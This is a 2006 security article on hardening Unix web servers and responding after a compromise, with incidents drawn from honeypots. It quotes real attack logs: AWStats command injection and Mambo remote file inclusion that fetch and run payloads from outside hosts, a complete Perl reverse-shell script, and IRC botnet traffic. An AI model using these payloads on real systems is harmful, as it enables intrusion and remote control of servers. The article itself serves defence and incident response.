

After an Exploit: mitigation and remediation

Jamie Riden 2006-07-24

Introduction

As we all know, prevention, detection and response are our three main lines of defence against threats, with a good administrator putting most focus on prevention. As the old adage goes, "an ounce of prevention is worth a pound of cure" - a 1:16 ratio for the metrically inclined - but there's always going to be the odd occasion where prevention fails, either through a lack of time or a mistake in one's security procedure. In this article we describe a few hardening and alerting methods for Unix servers that help block vectors for various attacks, including two web-based application attacks and the brute-forcing of SSH passwords. The article then looks at what an administrator should do post-compromise. These incidents have been drawn from both honeypots and real systems.

Today, devices such as stateful firewalls are common and people are paying more attention to vendor patches. This correlates with a trend of more attacks being carried out at the application level. For example, we are seeing more and more instances of SQL injection, SSH password guessing, cross-site scripting attacks and leveraging browser flaws. For the purposes of this article, we assume the reader has a reasonable firewall configuration and that he makes an effort to keep up with OS and application patches; if not, this is an area to fix this first. We all benefit from applying a defence-in-depth strategy - ideally a network should still be secure even if any single security measure fails.

Web-based attack: AWStats

Consider the following Web-based attack, directed against a vulnerable version of awstats: [ref: AWS]

```
10.0.55.10 - - [25/Feb/2006:22:44:16 +1300] "GET /awstats/  
awstats.pl?configdir=%7cecho%20%3becho%20b_exp%3bwget%20http%3a  
%2f%2f81%2e58%2e26%2e26%2flibsh%2fping%2etxt%3bmv%20ping%2etxt%  
20temp2006%3bperl%20temp2006%20210%2e245%2e233%2e251%208080..."
```

This type of attack has been seen on the web for a long time already, but unfortunately it still works on many neglected servers. For those who don't speak HTTP, the attack uses a command-injection vector in older versions of AWStats that would cause the script to execute the following commands:

```
echo b_exp;  
wget http://81.58.26.26/libsh/ping.txt;  
mv ping.txt temp2006;
```

```
perl temp2006 210.245.233.251 8080;  
...
```

When examined, the contents of the program called `ping.txt` (or `temp2006`) are found to be a simple Perl script, as follows:

```
#!/usr/bin/perl  
use Socket;  
use FileHandle;  
$IP = $ARGV[0];  
$PORT = $ARGV[1];  
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'));  
connect(SOCKET, sockaddr_in($PORT, inet_aton($IP)));  
SOCKET->autoflush();  
open(STDIN, ">&SOCKET");  
open(STDOUT, ">&SOCKET");  
open(STDERR, ">&SOCKET");  
system("id;pwd;uname -a;w;HISTFILE=/dev/null /bin/sh -i");
```

The effect of the whole attack is to provide a connect-back shell for the attacker, together with some details such as the user the script is executing as, the current working directory, and the details of the operating system. The script also tries to unset the history file, so fewer traces of the attack will exist.

To nullify this particular attack, one could do any or all several things. First, make sure you don't have a vulnerable `awstats.pl` script by patching the application or upgrading to a newer version. We assume that everyone reading this will be trying to keep their machines patched up to date. Remember that we're thinking about defence-in-depth and there's a possibility of either a 0-day exploit or a server or script that gets forgotten about.

An administrator could use a third party Intrusion Prevention System, such as the popular `mod_security` [[ref: MSC](#)] module for Apache, that would alert the administrator on any requests for "`curl%20`", "`wget%20`" and so on. [[ref: MSR](#)] When configuring `mod_security`, make sure you're including POST requests to pick up the possibility of exploiting, for example, the XMLRPC issue. [[ref: XMR](#)]

A second, useful approach is to rename or delete your `tftp/wget/curl/perl` binaries, assuming you don't need them in your applications. This will not make your system safe, but it will block the most common attack vectors. Similarly, you can use a firewall to block outbound connections from your web servers [[ref: FSF](#)] - again, this alone will not make your system safe, but it will prevent the usual connect-back shells from working. As well as this particular command injection, SQL injection is often targeted to use binaries such as `tftp` (on Windows) and `tftp`, `wget` and `curl` on UNIX.

The additional use of `CHROOT` for Apache can more easily limit the binaries and directories

available if a web application is compromised. It prevents the use of various binaries such as wget and curl, which are typically found outside the CHROOT, and also makes it easier to limit which files or directories could have been compromised during a successful attack. In a CHROOT environment, the administrator with a compromised web application would not normally need to concern himself with files and directories outside of the CHROOT. [[ref: CHR](#)]

Then, the use of a file integrity monitoring application would further assist the administrator in tracking down the compromise. Integrity monitoring apps like AIDE or Tripwire [[ref: FIM](#)], when run once or several times per day (or run as a daemon) and compared against stored hash values, can monitor files and directories for changes and alert the administrator when required. When changes are discovered on the filesystem, an immediate alert could be generated - perhaps in the form of an e-mail to the administrator, indicating the need to investigate further. If a file integrity monitor notices changes in the filesystem but the administrator never reads these notifications, the usefulness of the approach is severely diminished.

Web-based attack: Mambo CMS

A similar attack against Mambo [[ref: MAM](#)] would be as follows :

```
10.0.146.236 - - [28/Feb/2006:12:30:44 +1300] "GET /index2
.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option
]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_pa
th=http://66.98.144.89/cmd.txt?&cmd=cd%20/tmp;wget%2010.0.218.1
83/cback;chmod%20744%20cback;./cback%2010.0.242.90%208081;wget%
2010.0.218.183/dc.txt;chmod%20744%20dc.txt;perl%20dc.txt%2010.0
.242.90%208081...
```

Because of a flaw in the input validation of certain versions of Mambo, a remote file inclusion issue exists. The attacker ends up being able to control which file is included using PHP. Unfortunately default installations of PHP4 do allow remote includes such as, `include 'http://evil.example.com/evilscrip.php';`

The countermeasures previously discussed above will work, but one can also lock down his PHP installation by turning off `allow_url_fopen` [[ref: OWA](#)] in the server's `php.ini` configuration file. We must assume that the reader does not employ anything anything silly like `register_globals` on either, which is terribly insecure. If the reader is worried about having vulnerable scripts on his web servers, he can also use Google to check for them [[ref: IHS](#)].

Web-based attack connecting to IRC

A third compromise was carried out in the same manner as above, but a binary was

downloaded (the hacker correctly assumed linux/i386) that attempted to connect to an IRC network:

```
09:45:35.778913 IP 12.205.151.144.6667 > 10.0.0.120.48298:
P 1:44(43) ack 1 win 724

...
0x0030:  xxxx xxxx 4e4f 5449 4345 2041 5554 4820  ....NOTICE.AUTH.
0x0040:  3a2a 2a2a 204c 6f6f 6b69 6e67 2075 7020  :***.Looking.up.
0x0050:  796f 7572 2068 6f73 746e 616d 650d 0a    your.hostname..
```

Here one could expect a snort [\[ref: SNT\]](#) sensor with some bleeding-edge rules [\[ref: BLD\]](#) (especially the bleeding-IRC rules [\[ref: BLI\]](#)) to alert you to the network traffic that is taking place, post-compromise. This particular attack deployed a scanner which sent out lots of connection requests to port 80/tcp - this information should come up on your IDS portscan detection.

You may also find DNS logs are useful for corroboration or for identifying questionable traffic [\[ref: DNS\]](#) - there isn't any very good reason for one of your servers to be looking up the A record of evil.irc.example.net. A lot of security administrators I know swear by argus [\[ref: ARG\]](#) as well; this is a tool that keeps logs of traffic flows for auditing purposes. It is well worth looking into, in addition to the user of an IDS system.

Browser exploits, DNS, and e-mail

In another incident, some machines on a university campus were compromised via a browser exploit which changed the DNS servers the workstations were querying. Since everyone should have been using the university's DNS servers, they were quickly able to block DNS traffic from general workstations. This process highlighted which workstations were affected and prevented more nefarious activities on the part of the attacker, such as returning bogus records for banking web sites. In this case, the problem was first discovered when the help desk logged the machine as having some problems. Upon investigation it was found that the DNS traffic was going somewhere other than the university's DNS servers, so port 53/tcp and 53/udp were quickly blocked at the firewall.

Malware often still originates in e-mail. This author must also assume that all readers are already scanning incoming e-mail for malicious code. One might think this approach is oh-so-secure until someone sends an e-mail which instead of having the malicious code attached, asks people to download it from a website. For cases such as these, use a web proxy [\[ref: PXY\]](#) that has an AV filtering capability built-in. This would have prevented the above browser exploit, assuming the AV signatures on the web proxy were sufficiently up to date.

SSH attack: brute-forcing passwords

Another server on campus was compromised via a guessed SSH password. Unfortunately, there exists several versions of a worm that searches for daemons on port 22 and attempts to brute-force a password. Over one weekend, over 200,000 SYN packets were received on port 22/tcp (SSH), in an attempt to find other weak passwords on other machines. This dwarfed all the other alerts on the IDS. Additionally, the attacker tried to send a phishing email to eBay users, but was thwarted due to the administrator's block on outbound traffic on port 25/tcp (SMTP) - yes, everyone inside this network had to use the campus mailservers too.

The attacker also tried to launch various privilege escalation exploits, for cases where a flaw in the operating system allows an unprivileged user to become root. Fortunately these failed, but it didn't prevent the attacker from running an IRC client in userland and joining the machine to a botnet.

To prevent and detect similar attacks, one should first make sure everyone uses the internal email servers; virus-scanning and rate-limiting should also be done here. This will stop e-mail worms from propagating internally as well. One can also configure Snort to look for rapid connection attempts on 25/tcp (SMTP), 22/tcp [ref: BLS] (SSH), and so on.

As well, to prevent unauthorized access, you need to enforce strong passwords. One of the ways to enforce strong passwords is to run john/crack on your own password files [ref: JOH] to reveal weak passwords. If you are seeing a lot of brute-forcing attempts, you might also think about moving ssh to an alternate port [ref: DAE] where it will be attacked less by automated scripts. Alternatively, you could use key pairs for authentication instead of passwords, but this will depend on your users. [ref: UID] Most people can cope with using a telnet-like service such as SSH, but are confused by the process of setting up keypairs to log in. However, keypairs are not that difficult to setup and can significantly improve SSH security over the use of passwords.

Post compromise

When a machine has been compromised, it should always be re-installed from known-good media, and only the data should be restored from backups. However, one should first try to understand why and how the machine was compromised. This is where your audit logs come in.

It isn't any use to restore the machine to its uncompromised, but still vulnerable state. If the administrator tries to patch up a compromised server, you are playing Russian Roulette with your network and the data on that computer. Is the potential loss really more than the cost of a couple hours of your time to restore the system? In many cases, a reinstall - and better hardening of the system - is the only way to know the system is truly clean.

Lessons learned

The most common vectors for downloading further malware over the web are wget, tftp, ftp and curl, although Perl can also be used for attaining a simple reverse shell. After a box has

been compromised, some attackers will run privilege escalation exploits as well, such as the do_brk [ref: BRK] exploit for Linux. If they cannot get root, they can still join the machine to an IRC channel, use it to send spam/phishing e-mail, or attack other machines within your network and across the Internet.

Beyond just patching a system, one must try to eliminate the vectors discussed in this article wherever possible. It is useful to regularly add IDS rules which will catch 'unexpected' behaviour, especially if you can't prevent the vector due to various requirements you may have. Consider using a program like argus to provide an audit trail for network activity. This will help in a number of ways, in part because your IDS will only record signature matches and so will not provide you with a complete record of activity.

Remember, we must concentrate on prevention first - if you're not patching regularly, you don't have a good handle on your firewall rules, and you don't read your log files, you will get a better payoff for security by starting to address these areas first. If you are doing all you reasonably can in terms of patching and passwords, the reader may want to consider some of the additional methods we've discussed in this article.

References

[ARG] Argus <http://www.qosient.com/argus/>

[AWS] Awstats <http://awstats.sourceforge.net/> , and the command-injection exploit <http://www.securityfocus.com/bid/17844/>

[BLD] Bleeding-edge snort signatures - <http://www.bleedingsnort.com/>

[BLI] http://www.bleedingsnort.com/cgi-bin/viewcvs.cgi/sigs/POLICY/POLICY_IRC?rev=1.5&view=markup, http://www.bleedingsnort.com/cgi-bin/viewcvs.cgi/sigs/VIRUS/TROJAN_IRC_Bots?rev=1.69&view=markup

[BLS] http://www.bleedingsnort.com/cgi-bin/viewcvs.cgi/sigs/SCAN/SCAN_SSH_Brute_Force?rev=1.9&view=log

[BRK] do_brk vulnerability - <http://www.securityfocus.com/bid/9138>

[CHR] Securing Apache 2: Step-by-Step - <http://www.securityfocus.com/infocus/1786>, and Securing Apache 1.3: Step-by-Step - <http://www.securityfocus.com/infocus/1694>

[DAE] <http://www.linuxjournal.com/node/8500/print>

[DNS] <http://staff.science.uva.nl/~delaat/snb-2005-2006/p12/report.pdf>

[FIM] AIDE file integrity monitor - <http://www.cs.tut.fi/~rammer/aide.html> or open-source Tripwire - <http://sourceforge.net/projects/tripwire/>

[FSF] Blocking outbound connections from your webserver - http://www.freesoftwaremagazine.com/articles/hardening_linux?page=0%2C1

[IHS] Google Hacking Database - <http://johnny.ihackstuff.com/index.php?module=prodreviews>

[JOH] Cracking weak passwords - <http://www.openwall.com/john/> and <http://www.governmentsecurity.org/articles/CrackingUnixpasswordfilesforbeginners.php>

[MAM] Mambo CMS server - <http://www.mamboserver.com/>, and the exploit <http://www.securityfocus.com/bid/11220>

[MSC] Mod_security website - <http://www.modsecurity.org/>

[MSR] Mod_security rules - <http://www.modsecurity.org/projects/rules/index.html> and http://www.gotrroot.com/tiki-index.php?page=mod_security+rules

[OWA] Remote code execution - http://www.owasp.org/index.php/PHP_Top_5#P1:_Remote_Code_Execution

[PXY] Effective web proxies include Fortinet - <http://www.fortinet.com/products/enterprise.html> and BlueCoat - http://www.bluecoat.com/solutions/security/virus_scanning-ICAP.html and http://www.clearview.co.uk/bluecoat_proxy_av.htm, or one can use an add-on for ISA server - <http://www.gfi.com/webmon/>

[SNT] The snort Intrusion Detection System - <http://www.snort.org/>

[UID] SSH user identities - <http://www.securityfocus.com/infocus/1810>

[XMR] PHPXMLRPC flaw - <http://forum.dshield.org/read.php?3,22326,22326>, and <http://www.securityfocus.com/bid/14088>.

About the author

[Jamie Riden](#) is a member of the NZ Honeynet project.

[Privacy Statement](#)

Copyright 2006, SecurityFocus